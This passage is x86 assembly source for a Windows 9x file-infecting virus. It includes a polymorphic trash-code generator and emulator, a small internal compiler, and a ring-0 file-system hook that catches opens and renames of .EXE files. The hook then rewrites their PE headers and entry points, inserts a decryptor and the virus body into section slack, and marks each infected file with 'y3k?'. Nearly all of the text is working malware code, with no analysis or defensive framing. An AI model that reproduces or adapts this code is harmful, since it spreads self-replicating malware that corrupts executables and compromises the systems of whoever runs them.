mov [FromOperand+ebp],eax
mov [FromTypeOfValue+ebp],ebx
lea ebx,[RandomProcs+ebp]
xor eax,eax
xor ecx,ecx
xor edx,edx
mov cl, byte ptr [ebx]
Label36:
inc ebx
mov dl, byte ptr [ebx]
add eax,edx
loop Label36
call Random
lea ebx,[RandomProcs+ebp]
Label37:
inc ebx
mov dl, byte ptr [ebx]
sub eax, edx
jnc Label37
lea eax,[RandomProcs+ebp]
sub ebx,eax
dec ebx
shl ebx,2
inc ebx
mov dl,byte ptr [eax]
add ebx,edx
add ebx,eax
mov ebx,[ebx]
lea ebx,[InstructionData+ebx*8+ebp]
mov [EmulateInstruction+ebp],ebx
call EmuProc
jmp GenerateTrash
; ------------------------------------------------
; ---------------------------- Emulation functions
; ------------------------------------------------
AddInstruction:
add [eax+edx],ecx
ret
SubInstruction:
sub [eax+edx],ecx
ret
MovInstruction:
xor ebx,ebx
mov dword ptr [eax],ebx
mov dword ptr [eax+4],ebx
mov dword ptr [eax+8],ebx
mov dword ptr [eax+12],ebx
mov [eax+edx],ecx
ret
OrInstruction:
or [eax+edx],ecx
ret
XorInstruction:
xor [eax+edx],ecx
ret
AndInstruction:
and [eax+edx],ecx
ret
EmulateInstruction dd 0
ToOperand dd 0
ToType dd 0
FromOperand dd 0
FromTypeOfValue dd 0
EmuProc:
ChangeRegPart:
mov eax,[ToOperand+ebp]
mov ebx,[ToType+ebp]
mov edx,[EmulateInstruction+ebp]
mov edx,[edx+4]
shr ebx,2
inc ebx
call OutputOpcode
dec ebx
shl ebx,2
call UndefineDependentOperands
pushad
mov ebx,[EmulateInstruction+ebp]
mov ebx,[ebx+4]
cmp ebx,Op_mov
jnz Label34
mov eax,[ToOperand+ebp]
mov ebx,[ToType+ebp]
mov ecx,Undefined
call DeleteFromInfo
Label34:
popad
call IsOperandUndefined
jz ChangeOutput
call GetTable
mov ecx,[FromOperand+ebp]
mov edx,[FromTypeOfValue+ebp]
xor ebx,ebx
test edx,edx
jz ValueIsProperlyEmulated_DontNeedThisHack
add ebx,[eax]
ValueIsProperlyEmulated_DontNeedThisHack:
add ebx,[eax+4]
add ebx,[eax+8]
add ebx,[eax+12]
test ebx,ebx
jnz MakeUndefined
YesChangeIt:
mov ebx,[EmulateInstruction+ebp]
mov ebx,[ebx]
add ebx,ebp
call ebx
ChangeOutput:
call GetEqualValue
shr ebx,2
call Output
ret
MakeUndefined:
mov ebx,Undefined
or [eax+InfoPtr],ebx
jmp ChangeOutput
FoundEquals dd 0
ReadFromType dd 0
GetEqualValue:
xor ebx,ebx ; register table
mov [FoundEquals+ebp],ebx
mov [ReadFromType+ebp],ebx
mov ecx,Registers
call CompareOperands
mov ecx,[ToType+ebp]
cmp ecx,4
jae DontTryMemory
mov ecx,MemorySize
mov [ReadFromType+ebp],4
call CompareOperands
DontTryMemory:
push [FromOperand+ebp]
push [FromTypeOfValue+ebp]
mov eax,[FoundEquals+ebp]
inc eax
mov ecx,eax
call Random
imul eax,eax,8
mov ebx,[esp+eax]
mov eax,[esp+eax+4] ; eax = Operand
imul ecx,ecx,8
add esp,ecx
test ebx,ebx
jz Return ;
mov ecx,Writeable
call DeleteFromInfo ; delete writeable from mem
; might still create bugs!!!
; will be fixed in the future
; (the odds a bug will happen
; is extremly low)
ret
CompareOperands:
pop [ReturnAddress+ebp]
inc ecx
CmpLoop:
dec ecx
jnz Label30
jmp [ReturnAddress+ebp]
Label30:
mov eax,ecx
mov ebx,[ReadFromType+ebp]
call ReadOperand
cmp eax,[FromOperand+ebp]
jnz CmpLoop
cmp ebx,[FromTypeOfValue+ebp]
jnz CmpLoop
cmp ecx,[ToOperand+ebp]
jz CmpLoop
push ecx ; Operand
mov ebx,[ReadFromType+ebp] ; Type
add ebx,4
push ebx
inc [FoundEquals+ebp]
jmp CmpLoop
UndefineDependentOperands:
call IsOperandUndefined
jnz Return
pushad
xor ebx,ebx
mov ecx,Registers
call Undefine
mov ebx,4
mov ecx,MemorySize
call Undefine
popad
ret
Undefine:
inc ecx
mov edx,ebx
UndefineLoop:
dec ecx
jz Return
mov eax,ecx
mov ebx,edx
cmp eax,[ToOperand+ebp]
jz UndefineLoop
call ReadOperand
sub ebx,4
cmp ebx,[ToType+ebp]
jnz UndefineLoop
cmp eax,[ToOperand+ebp]
jnz UndefineLoop
push ecx
mov eax,ecx
mov ebx,edx
mov ecx,Undefined
call SetInfo
pop ecx
jmp UndefineLoop
; -----------------------------------------------
; -------------------------- High level functions
; -----------------------------------------------
RandomOperand:
mov eax,3+EndValueFrecuency
shr ebx,2 ; ebx = 0 or 1
sub eax,ebx ; eax = 3 or 2
call Random
xor ebx,ebx
test eax,eax
jz Random ; eax = 1 or 2
dec eax
jz GetReadableReg
sub eax,EndValueFrecuency+1
jz GetReadable
mov eax,[EndValue+ebp]
mov ebx,[EndTypeOfValue+ebp]
and ebx,111b
ret
GetWriteableReg:
call GetWriteableLabel1
test ebx,ebx
jnz GetWriteableReg
ret
; Returns a writeable operand
GetWriteable:
mov eax,3 ; create more reg then
call Random ; mem
test eax,eax
jnz GetWriteableReg
GetWriteableLabel1:
call GetReadable
mov ecx,Writeable
sub ebx,4
call TestInfo
jnz GetWriteableLabel1
ret
GetReadableReg:
call GetReadable
cmp ebx,4
jnz GetReadableReg
ret
; Returns a operand
GetReadable:
mov ebx,4
mov eax,Registers+MemorySize
call Random
inc eax
cmp eax,Registers+1
jl Return
shl ebx,1
sub eax,Registers+1
ret
; input
; eax = register or number
; ebx = number or register and value or mem
; ebx = 0 = number
; ebx = 1 = register
; ebx = 2 = [number]
; ebx = 3 = [register]
; ------------------------------------------
; ---------------------- Low level functions
; ------------------------------------------
Random:
push ebx
push ecx
push edx
mov ebx,eax
add eax,[RandomNumber+ebp]
mov cl,al
rol eax,cl
add eax,14
xor ecx,46
ror eax,cl
add eax,ecx
xor [RandomNumber+ebp],eax
test ebx,ebx
jz NoMod
xor edx,edx
div ebx
xchg eax,edx
NoMod:
pop edx
pop ecx
pop ebx
ret
; input
; edx = opcode
OutputOnlyOpcode:
add edi,16
and edi,0fffffff0h
bswap edx
mov [edi],edx
add edi,4
ret
OutputOpcode:
call OutputOnlyOpcode
jmp OutputNotComma
Output:
mov byte ptr [edi],','
inc edi
OutputNotComma:
push ecx
xor ecx,ecx
cmp ebx,1
setbe cl
lea ecx,[ecx*8+ecx]
push ecx
test ecx,ecx
jnz Label10
mov byte ptr [edi],'['
inc edi
Label10:
test ebx,1
setnz cl
shl ecx,2
add ecx,'N'
mov byte ptr [edi],cl
inc edi
cmp ecx,'N'
jz OutputNumber
add eax,'0'
stosb
sub eax,'0'
Label11:
pop ecx
test ecx,ecx
jnz Label12
mov byte ptr [edi],']'
inc edi
Label12:
pop ecx
ret
OutputNumber:
pop ecx
push ecx
test ecx,ecx
setnz cl
push eax
mov eax,'S'
mov byte ptr [edi+ecx-1],al ; variable
pop eax
stosd
jmp Label11
GetTable:
cmp ebx,8
stc
jz Return
dec eax
imul eax,eax,20 ; TableSize
add eax,[Tables+ebx+ebp]
clc
ret
SetInfo:
push eax
call GetTable
jc ReturnPopEax
or [eax+InfoPtr],ecx ; Set attribute
pop eax
ret
DeleteFromInfo:
push eax
call GetTable
jc ReturnPopEax
or [eax+InfoPtr],ecx ; Set attribute
xor [eax+InfoPtr],ecx ; Clear it
pop eax
ret
ChangeInfo:
push eax
call GetTable
jc ReturnPopEax
mov [eax+InfoPtr],ecx
pop eax
ret
IsOperandUndefined:
push ecx
mov ecx,Undefined
call TestInfo
pop ecx
jz Return
jc SetZeroFlag
ret
SetZeroFlag:
cmp eax,eax
ret
TestInfo:
push eax
call GetTable
jc ReturnPopEax
test [eax+InfoPtr],ecx
mov ecx,0
setnz cl
lahf
shl cl,6
btr ax,6+8
or ah,cl
sahf
pop eax
clc
ret
; eax = The operand
; ebx
; Which table to read from
ReadOperand:
call IsOperandUndefined
jz OperandIsUndefined
call GetTable
push ecx
xor ebx,ebx
mov ecx,16
FindValueLoop:
sub ecx,4
jecxz Label32
cmp [eax+ecx],ebx
jz FindValueLoop
Label32:
mov ebx,ecx
mov eax,[eax+ecx]
pop ecx
ret
OperandIsUndefined:
add ebx,4
ret
ReturnPopEax:
pop eax
ret
GetWhereFrom:
lea ebx,[FromWhere+ebp-4]
jmp GodDamnedLabelDammit
GetWhereTo:
lea ebx,[EndWhere+ebp-4]
GodDamnedLabelDammit:
push ebx
xor eax,eax
dec eax
GodDamnedLoopDammit:
add ebx,4
cmp eax,[ebx]
jz GodDamnedLoopDammit
mov eax,[ebx]
sub ebx,[esp]
sub ebx,4
add esp,4
ret
OutputPrefix:
push eax
xor eax,eax
cmp eax,[Prefix+ebp]
jz OutputPrefixEnd
add edi,16
and edi,0fffffff0h
mov eax,Op_db
bswap eax
stosd
xor eax,eax
inc eax
stosb
xor eax,eax
xchg eax,[Prefix+ebp]
stosb
OutputPrefixEnd:
pop eax
ret
Optimize:
call ClearDoNothingInstrucions
; call ClearUnnessesaryInstructions
xchg esi,edi
ret
MaybeUnnessesaryInstructions:
dd Op_mov, Op_add, Op_sub, Op_and, Op_or, Op_xor
MaybeUnnessesaryInstructionsEnd:
ClearUnnessesaryInstructions:
push edi
sub esi,16
ClearUnnessesaryInstructionsLoop:
push edi
add esi,16
and esi,0fffffff0h
lodsd
bswap eax
lea edi,[MaybeUnnessesaryInstructions+ebp]
mov ecx,(MaybeUnnessesaryInstructionsEnd-MaybeUnnessesaryInstructions)/4
repnz scasd
test ecx,ecx
jz DontOptimize2
xor eax,eax
.while (al!=',')
lodsb
.endw
mov edi,esi
mov ecx,1000h
FindNextEntry:
; rep scasb
jecxz DontOptimize2
mov ebx,edi
and edi,0fffffff0h
sub ebx,edi
cmp ebx,4
jz DontOptimize2
mov ebx,Op_mov
cmp [edi],ebx
jnz FindNextEntry
pop edi
jmp ClearUnnessesaryInstructionsLoop
DontOptimize2:
pop edi
and esi,0fffffff0h
mov ecx,16
rep movsb
sub esi,16
jmp ClearUnnessesaryInstructionsLoop
pop edi
ret
ClearDoNothingInstrucions:
push edi
sub esi,16
xor ecx,ecx
OptimizeLoop:
add esi,16
and esi,0fffffff0h
push esi
lodsd
test eax,eax
jz OptimizeEnd
bswap eax
cmp eax,Op_mov
jnz DontOptimize
xor eax,eax
lodsw
mov ebx,eax
lodsb
lodsw
cmp ebx,eax
jnz DontOptimize
pop esi
jmp OptimizeLoop
DontOptimize:
mov ecx,16
pop esi
rep movsb
sub esi,16
jmp OptimizeLoop
OptimizeEnd:
test ecx,ecx
jnz OptimizeDoReallyQuit
mov ecx,16
pop esi
rep movsb
sub esi,16
inc ecx
jmp OptimizeLoop
OptimizeDoReallyQuit:
pop eax
pop edi
ret
; 1. Init block
; offset 0
; pushad
; 2. Make pointer to mem
; 3. Read block
; Encrypt block
; Write block
; popad
; 5. Change mempointer block
; 6. Compare and jump block
PE_Objects equ 6
PE_NTHdrSize equ 20
PE_Entrypoint equ 40
PE_ImageBase equ 52
PE_ObjectAlign equ 56
PE_FileAlign equ 60
PE_ImageSize equ 80
Obj_Name equ 0
Obj_VirtualSize equ 8
Obj_VirtualOffset equ 12
Obj_PhysicalSize equ 16
Obj_PhysicalOffset equ 20
Obj_Flags equ 36
IFSMgr equ 0040h
R0_AllocMem equ 000dh
R0_FreeMem equ 000eh
Ring0_FileIO equ 0032h
InstallFileSystemAPIhook equ 0067h
UniToBCSPath equ 0041h
ResidentcodeStart:
jmp FileFunction
R0_OPENCREATFILE equ 0D500h ; Open/Create a file
R0_READFILE equ 0D600h ; Read a file, no context
R0_WRITEFILE equ 0D601h ; Write to a file, no context
R0_CLOSEFILE equ 0D700h
IFSFN_FILEATTRIB equ 33
IFSFN_OPEN equ 36
IFSFN_RENAME equ 37
IFSFN_READ equ 0 ; read a file
IFSFN_WRITE equ 1 ; write a file
FileIOWrite:
mov eax,R0_WRITEFILE
mov ebx,[FileHandle+edi]
pop [ReturnAddr+edi]
push Ring0_FileIO
jmp Label6
FileIOReadDWordToSlack:
mov ecx,4 ; how many bytes
FileIOReadToSlack:
lea esi,[Slack+edi] ; where to place data
FileIORead:
mov eax,R0_READFILE
FileIOHandle:
mov ebx,[FileHandle+edi]
FileIO:
pop [ReturnAddr+edi]
push Ring0_FileIO
jmp Label6
vxd:
pop [ReturnAddr+edi]
Label6:
pop [CallService+edi+2]
mov word ptr [CallService+edi],20cdh
mov word ptr [CallService+edi+4],0040h
jmp CallService
CallService:
Slack:
int 20h
dw 0dh
dw 0040h
jmp [ReturnAddr+edi]
ZeroRegStart:
db 0
FileToInfect db 256 dup (0)
TempPtr dd 0
TotalSize dd 0
OldAPIFunction dd 0
GuidePos dd 0
GuideSize dd 0
DecryptorPos dd 0
DecryptorSize dd 0
HeaderSize dd 0
VirusInRing0Mem dd 0
MemoryTable dd 0
VirtualDataSegment dd 0
ReturnAddr dd 0
ReturnAddr2 dd 0
Flag dd 0
FileHandle dd 0
PEHeadOfs dd 0
PEHeadStart dd 0
ObjTable dd 0
CodeObjectPtr dd 0
DataObjectPtr dd 0
LastObjectPtr dd 0
SlackInCodeSegment dd 0
SlackInDataSegment dd 0
OldRVA dd 0
StackSave dd 0
NewVirusOffset dd 0
JumpTableMoveOffset dd 0
NewGuideOffset dd 0
NewDecryptorOffset dd 0
NewDataSegmentOffset dd 0
Unload dd 0
ZeroRegEnd:
; eax = how much free space
; ebx = where it is located
; ecx = pointer to segment object table
; edx = last object pointer
GetSegmentSlack:
pop [ReturnAddr2+edi]
mov eax,[PEHeadStart+edi]
lea ebx,[eax+24]
xor ecx,ecx
mov cx,[eax+PE_NTHdrSize] ; NT hdr size
add ebx,ecx ; ebx -> object table
mov cx,[eax+PE_Objects] ; # objects
imul ecx,ecx,40
add ecx,ebx
push ecx ; push pointer to last object
; + 40
FindCodeSegmentLoop:
sub ecx,8*5
cmp ecx,ebx
jl DidntFindSegment
cmp dword ptr [ecx],edx ; is code object?
jnz FindCodeSegmentLoop
pop edx ; pop pointer to last object
sub edx,40
mov eax,[ecx+Obj_PhysicalSize] ; size of segment
mov ebx,[ecx+Obj_PhysicalOffset] ; where does segment start
call CalculateFreeSpace
jmp [ReturnAddr2+edi]
DidntFindSegment:
pop eax
xor eax,eax
jmp [ReturnAddr2+edi]
SegmentSize dd 0
SegmentOffset dd 0
SegmentBuffer dd 0
CalculateFreeSpace:
push ecx
push edx
mov [SegmentSize+edi],eax
mov [SegmentOffset+edi],ebx
push eax
push R0_AllocMem
call vxd
pop ecx
test eax,eax
jz FileFunctionEndAddEsp
mov [SegmentBuffer+edi],eax
mov edx,[SegmentOffset+edi] ; read from
mov esi,eax ; read to
mov ecx,[SegmentSize+edi] ; how much to read
call FileIORead
mov ebx,edi
mov edi,[SegmentBuffer+ebx]
add edi,[SegmentSize+ebx]
sub edi,4 ; edi -> end of segment
push edi ; push end of seg
xor eax,eax
xor ecx,ecx
dec ecx
std
repz scasb
cld
dec eax
sub eax,ecx
mov edi,ebx
pop ebx ; end of seg
sub ebx,8 ; decrease some
push eax ; push number of slack bytes
mov eax,[SegmentBuffer+edi]
sub ebx,eax
push eax
push R0_FreeMem
call vxd
pop eax
pop eax ; eax = slackbytes in codeseg
sub eax,20 ; some safety
sub ebx,eax ; where slack starts
pop edx
pop ecx
ret
; ----------------------------------------
; --------------------------- FileFunction
; ----------------------------------------
FileFunction:
push ebp
mov ebp,esp
push edi
push esi
push ebx
BasePtr:
mov edi,66666666h
cmp [Unload+edi],1
jz CallInOurFunction
xor eax,eax
inc eax
cmp [Flag+edi],eax
jz CallInOurFunction
mov [Flag+edi],eax
mov eax,[ebp+12]
cmp eax,IFSFN_OPEN
jz CheckFilename
cmp eax,IFSFN_FILEATTRIB
jz CheckFilename
cmp eax,IFSFN_RENAME
jnz FileFunctionEnd
CheckFilename:
mov eax,[ebp+16]
test eax,eax
jz FileFunctionEnd
cmp eax,0ffh
jz FileFunctionEnd
cmp eax,25
ja FileFunctionEnd
add eax,'a'-1
add eax,':'*256
lea esi,[FileToInfect+edi]
mov word ptr [esi],ax
add esi,2
push 0
push 250
mov eax,[ebp+28]
mov eax,[eax+12]
add eax,4
push eax
push esi
push UniToBCSPath
call vxd
add esp,16
mov byte ptr [esi+eax],0
cmp dword ptr [esi+eax-4],'EXE.'
jne FileFunctionEnd
xor ebx,ebx
cmp dword ptr [esi+1],'OLNU' ; is catalog starting on unlo
setz bl
mov [Unload+edi],ebx ; unload virus then
cmp dword ptr [esi],'FNI' ; dont infect files in win*
jne FileFunctionEnd ; if there is a bug we dont
; to hurt system critical
; files
sub esi,2
mov bx,2
mov cx,0
mov dx,1h
mov eax,R0_OPENCREATFILE
call FileIO
jc FileFunctionEnd
mov [FileHandle+edi],eax
xor edx,edx ; where to read in file
call FileIOReadDWordToSlack
jc FileFunctionEndCloseFile
cmp word ptr [Slack+edi],'ZM'
jnz FileFunctionEnd
mov edx,3ch ; where to read in file
call FileIOReadDWordToSlack
mov edx,[Slack+edi]
mov [PEHeadOfs+edi],edx
call FileIOReadDWordToSlack
cmp word ptr [Slack+edi],'EP'
jnz FileFunctionEndCloseFile
mov edx,[PEHeadOfs+edi]
add edx,84
call FileIOReadDWordToSlack
mov ecx,[Slack+edi] ; size of exehead, pehead and
; objtable
mov edx,[PEHeadOfs+edi]
sub ecx,edx ; size of pehead and objtable
cmp ecx,1000h
ja FileFunctionEndCloseFile
mov [HeaderSize+edi],ecx
lea eax,[ecx+20]
; allocate mem for PEHeader
push eax
push R0_AllocMem
call vxd
pop ecx
test eax,eax
jz FileFunctionEndCloseFile
mov ecx,[HeaderSize+edi]
mov edx,[PEHeadOfs+edi]
mov esi,eax
mov [PEHeadStart+edi],esi
call FileIORead
mov eax,[PEHeadStart+edi]
cmp word ptr [eax],'EP'
jnz FileFunctionEndAddEsp
mov ebx,'y3k?' ; already infected
cmp [eax+12],ebx
jz FileFunctionEndAddEsp
mov edx,'xet.'
call GetSegmentSlack
; eax = how much free space
; ebx = where it is located
; ecx = pointer to segment object table
; edx = pointer to last object table
cmp eax,[GuideSize+edi]
jl FileFunctionEndAddEsp
mov [CodeObjectPtr+edi],ecx ; save offset of code object
mov [SlackInCodeSegment+edi],ebx
mov edx,'tad.'
call GetSegmentSlack
test eax,eax
jz FileFunctionEndAddEsp
mov [DataObjectPtr+edi],ecx ; save offset of data object
push eax
push ebx
.if (ecx==edx)
mov ebx,[PEHeadStart+edi]
mov eax,[ebx+PE_FileAlign+8] ; file align
.else
mov eax,[ecx+Obj_PhysicalSize] ; physical size
.endif
mov ebx,[ecx+Obj_VirtualSize] ; - virtual size
sub eax,ebx ; = free space
mov [SlackInDataSegment+edi],ebx
cmp eax,MemorySize*4 ; if this is true we can be
jg InfectFile ; 'sure' no bug will occure.
add eax,ebx ; size of .data segment on
; disk
sub eax,MemorySize*4+10 ; some safety
pop ebx ; where in file the zero
add ebx,200h ; slack starts
sub eax,ebx
pop eax ; size of slack block
jc FileFunctionEndAddEsp
sub eax,250h+MemorySize*4 ; enough mem free
jc FileFunctionEndAddEsp ; this method is more risky
; will bug out if the
; infected program relies
; on the data to be cleared
sub esp,8
mov [SlackInDataSegment+edi],ebx
InfectFile:
add esp,8
mov [LastObjectPtr+edi],edx ; ptr to last object table
mov ecx,[PEHeadStart+edi]
mov edx,[ecx+PE_Entrypoint] ; save old RVA
mov [OldRVA+edi],edx
mov ecx,[CodeObjectPtr+edi]
mov ebx,[SlackInCodeSegment+edi]
BreakPoint:
mov eax,ebx ; ebx = how far in is free
; space
add ebx,[ecx+Obj_VirtualOffset] ; ebx = free space in mem
mov edx,[PEHeadStart+edi]
mov [edx+PE_Entrypoint],ebx ; save new RVA
add eax,[ecx+Obj_PhysicalOffset] ; eax = free space in file
mov [NewGuideOffset+edi],eax
mov ecx,[DataObjectPtr+edi]
mov eax,[ecx+Obj_VirtualOffset] ; data space in mem
add eax,[SlackInDataSegment+edi] ; free data space in mem
add eax,(MemorySize-1)*4
add eax,[edx+PE_ImageBase] ; add with image base
mov ecx,MemorySize
mov ebx,[MemoryTable+edi]
mov edx,0ch
mov [ebx+ecx*4],edx ; used in fs:[0c]
sub ebx,4
CopyPointersToMem:
mov [ebx+ecx*4],eax
sub eax,4
dec ecx
jnz CopyPointersToMem
add ebx,4
mov [PointerToDataSlack+edi],ebx
mov ebx,[LastObjectPtr+edi]
mov eax,[VirtualDataSegment+edi]
mov ecx,[ebx+Obj_VirtualOffset] ; virtual offset
add ecx,[ebx+Obj_PhysicalSize] ; physical size
mov edx,[PEHeadStart+edi]
add ecx,[edx+PE_ImageBase] ; add with imagebase
mov [eax+8],ecx ; Decryptor Entrypoint
mov edx,[OldRVA+edi]
mov ebx,[PEHeadStart+edi]
add edx,[ebx+PE_ImageBase] ; add with image base
mov [eax],edx ; Program entrypoint
mov ebx,[DataObjectPtr+edi]
mov ecx,[ebx+Obj_VirtualOffset] ; Virtual offset
add ecx,[SlackInDataSegment+edi] ; Virtual offset of data slack
mov edx,[PEHeadStart+edi]
add ecx,[edx+PE_ImageBase] ; add with image base
mov [eax+4],ecx
mov ecx,[ebx+Obj_PhysicalOffset]
add ecx,[SlackInDataSegment+edi] ; Physical offset of data slack
mov [NewDataSegmentOffset+edi],ecx
mov ebx,[LastObjectPtr+edi]
mov ecx,[ebx+Obj_PhysicalSize] ; physical size
add ecx,[ebx+Obj_PhysicalOffset] ; physical offset
mov [NewDecryptorOffset+edi],ecx ; Entrypoint in file
mov edx,[eax+8] ; decryptor start
add edx,[DecryptorSize+edi]
mov [eax+12],edx ; save where to start decrypt
; write Guide
pushad
mov esi,[GuidePos+edi]
mov eax,[GuideSize+edi]
add eax,100
; allocate mem for PEHeader
push eax
push R0_AllocMem
call vxd
pop ecx
test eax,eax
jz FileFunctionEndCloseFile
mov [TempPtr+edi],eax
push edi
mov ebp,edi
mov edi,eax
call Compile
pop edi
mov edx,[NewGuideOffset+edi] ; write to
mov ecx,[GuideSize+edi] ; write ecx bytes
call FileIOWrite
mov eax,[TempPtr+edi]
push eax
push R0_FreeMem
call vxd
pop eax
mov esi,[DecryptorPos+edi]
mov eax,[DecryptorSize+edi]
add eax,100
; allocate mem for PEHeader
push eax
push R0_AllocMem
call vxd
pop ecx
test eax,eax
jz FileFunctionEndCloseFile
mov [TempPtr+edi],eax
push edi
mov ebp,edi
mov edi,eax
call Compile
pop edi
; write Decryptor
mov edx,[NewDecryptorOffset+edi]
mov ecx,[DecryptorSize+edi]
call FileIOWrite
mov eax,[TempPtr+edi]
push eax
push R0_FreeMem
call vxd
pop eax
popad
mov edx,[NewDataSegmentOffset+edi]
mov ecx,MemorySize*4
mov esi,[VirtualDataSegment+edi]
call FileIOWrite
mov edx,[NewDecryptorOffset+edi]
add edx,[DecryptorSize+edi]
mov ecx,VSize
mov esi,[VirusInRing0Mem+edi]
call FileIOWrite
mov ebx,VSize
add ebx,[DecryptorSize+edi]
mov esi,[LastObjectPtr+edi]
mov eax,[esi+Obj_PhysicalSize] ; physical size
add eax,ebx ; add with new virussize
add eax,100 ; safety
mov edx,[PEHeadStart+edi]
mov ecx,[edx+PE_ObjectAlign] ; object align
xor edx,edx
div ecx
inc eax
xor edx,edx
mul ecx
.if eax>[esi+8]
mov [esi+Obj_VirtualSize],eax ; save new virtual size
.endif
mov eax,[esi+Obj_PhysicalSize] ; physical size
add eax,ebx ; add with virus size
add eax,20 ; safety
mov edx,[PEHeadStart+edi]
mov ecx,[edx+PE_FileAlign] ; file align
xor edx,edx
div ecx
inc eax
xor edx,edx
mul ecx
mov [esi+Obj_PhysicalSize],eax ; save new physical size
mov eax,'y3k?'
mov ecx,[PEHeadStart+edi]
mov [ecx+12],eax
mov eax,[LastObjectPtr+edi]
mov esi,0c0000040h
mov [eax+Obj_Flags],esi
mov eax,[ecx+PE_ImageSize] ; size of image
add eax,VirusSize ; add with virussize
mov ecx,[ecx+PE_ObjectAlign] ; object aligment
xor edx,edx
div ecx
inc eax
xor edx,edx
mul ecx ; new size of image in eax
mov esi,[PEHeadStart+edi]
mov [esi+PE_ImageSize],eax ; save it
mov edx,[PEHeadOfs+edi] ; write to
mov ecx,[HeaderSize+edi]
call FileIOWrite
FileFunctionEndAddEsp:
mov eax,[PEHeadStart+edi]
push eax
push R0_FreeMem
call vxd
pop eax
FileFunctionEndCloseFile:
mov eax,R0_CLOSEFILE
call FileIOHandle
FileFunctionEnd:
xor eax,eax
mov [edi+Flag], eax
CallInOurFunction:
mov eax,[edi+OldAPIFunction]
mov ecx,edi
pop ebx
pop esi
pop edi
pop ebp
pop [ReturnFromHook+ecx]
lea edx,[ReturnFromHook+ecx+4]
sub [ReturnFromHook+ecx],edx
call dword ptr [eax]
db 0e9h
ReturnFromHook:
dd 0
; ------------------------------
; --------------------- Compiler
; ------------------------------
PointerToRandomMemory equ MemorySize
PointerToDataSlack dd 0
SavedOffsets dd 10 dup (-1)
InstructionTable:
dd Op_add
dd Op_and
dd Op_cmp
dd Op_or
dd Op_sub
dd Op_xor
dd Op_mov
dd Op_jmp
dd Op_jnz
dd Op_jnb
dd Op_jna
dd Op_offset
dd Op_db
InstructionTableEnd:
InstructionTables:
AddTable:
dd DefaultProc1
db 00000000b
db 10000000b
db 00000100b
db 000b
AndTable:
dd DefaultProc1
db 00100000b
db 10000000b
db 00100100b
db 100b
CmpTable:
dd DefaultProc1
db 00111000b
db 10000000b
db 00111100b
db 111b
OrTable:
dd DefaultProc1
db 00001000b
db 10000000b
db 00001100b
db 001b
SubTable:
dd DefaultProc1
db 00101000b
db 10000000b
db 00101100b
db 101b
XorTable:
dd DefaultProc1
db 00110000b
db 10000000b
db 00110100b
db 110b
MovTable:
dd MoveProc
db 10001000b
db 11000110b
db 10111000b
db 000b
JmpTable:
dd JmpProc
dd 0
JnzTable:
dd JxxProc
db 0101b
db 0,0,0
JnbTable:
dd JxxProc
db 0011b
db 0,0,0
JnaTable:
dd JxxProc
db 0110b
db 0,0,0
OffsetTable:
dd OffsetProc
dd 0
DeclareByteTable:
dd DeclareByteProc
dd 0
ToValue dd 0
ToTypeOfValue dd 0
SecondValue dd 0
SecondTypeOfValue dd 0
Instruction dd 0,0,0
InstructionLength dd 0
RegistersBitValue:
dd 0
IntelEax dd 000b
IntelEbx dd 011b
IntelEcx dd 001b
IntelEdx dd 010b
IntelEsi dd 110b
IntelEdi dd 111b
IntelEsp dd 100b
ReadInstruction1:
push edi
lea edi,[InstructionTable+ebp]
mov ecx,(InstructionTableEnd-InstructionTable)/4+1
add esi,16
and esi,0fffffff0h
lodsd
bswap eax
push edi
repnz scasd
sub edi,[esp]
shl edi,1
lea ebx,[edi+4-8+InstructionTables+ebp]
mov eax,[ebx-4]
add eax,ebp
pop edi
pop edi
test ecx,ecx
jz CompileEnd
jmp eax
ReadOperands:
call GetOperand
mov [ToValue+ebp],eax
mov [ToTypeOfValue+ebp],ebx
mov al,byte ptr [esi]
cmp al,','
jnz Return
inc esi
call GetOperand
mov [SecondValue+ebp],eax
mov [SecondTypeOfValue+ebp],ebx
ret
SetDirectionBit:
call WhatOperandIsRegMem
setl bl
shl ebx,1
or [Instruction+ebp],ebx
ret
GetOther:
call WhatOperandIsRegMem
jnl Label40
mov eax,[ToValue+ebp]
mov ebx,[ToTypeOfValue+ebp]
ret
GetRegMem:
call WhatOperandIsRegMem
jl Label40
mov eax,[ToValue+ebp]
mov ebx,[ToTypeOfValue+ebp]
ret
Label40:
mov eax,[SecondValue+ebp]
mov ebx,[SecondTypeOfValue+ebp]
ret
RegMem_Reg equ 0
RegMem_Immediate equ 1
Eax_Immediate equ 2
FetchOpcode:
call GetRegMem
cmp ebx,4
setz bl
cmp eax,1
setz al
and eax,ebx
mov ecx,eax
call GetOther
xor eax,eax
test ebx,ebx
jnz Return
inc eax
add eax,ecx
ret
WhatOperandIsRegMem:
xor ebx,ebx
mov eax,[ToTypeOfValue+ebp]
cmp eax,[SecondTypeOfValue+ebp]
ret
FixAddresses:
lea edx,[Instruction+ebp]
add edx,[InstructionLength+ebp]
call GetRegMem
xor ecx,ecx
cmp ebx,8
setl cl
imul ecx,ecx,3
shl ecx,6
cmp ebx,8
jz MemoryValue
mov eax,[eax*4+RegistersBitValue+ebp]
or ecx,eax
jmp Label43
MemoryValue:
or ecx,101b
mov [edx+1],eax
add [InstructionLength+ebp],4
Label43:
inc [InstructionLength+ebp]
call GetOther
test ebx,ebx
jz LastOperandIsImmediate
mov eax,[eax*4+RegistersBitValue+ebp]
shl eax,3
or ecx,eax
mov byte ptr [edx],cl
ret
LastOperandIsImmediate:
push edx
lea edx,[Instruction+ebp]
add edx,[InstructionLength+ebp]
mov [edx],eax
add [InstructionLength+ebp],4
pop edx
or byte ptr [edx],cl
ret
OutputInstruction:
push esi
lea esi,[Instruction+ebp]
mov ecx,[InstructionLength+ebp]
rep movsb
pop esi
ret
; input
; Edi -> where to put compiled code
; Esi -> code to compile
; return
; eax = where to put compiled code
; ebx = size of compiled code
Compile:
push edi
sub esi,16
CompileAgain:
mov [Instruction+ebp],0
mov [InstructionLength+ebp],0
call ReadInstruction1
mov al,0c3h
mov byte ptr [edi],al
jmp CompileAgain
CompileEnd:
pop esi
pop esi
mov eax,edi
sub eax,esi
ret
OffsetProc:
call AsciiToNum
mov [SavedOffsets+ebp+eax*4],edi
ret
DeclareByteProc:
xor eax,eax
lodsb
mov ecx,eax
rep movsb
ret
MoveProc:
push ebx
call ReadOperands
call SetDirectionBit
call FetchOpcode
test eax,eax
jz DefaultProc1Label1
call GetRegMem
mov ecx,eax
mov eax,1
cmp ebx,8
jz DefaultProc1Label1
mov eax,[ecx*4+RegistersBitValue+ebp]
lea edx,[Instruction+ebp]
pop ebx
or al,byte ptr [ebx+2]
mov [edx],eax
call GetOther
mov [edx+1],eax
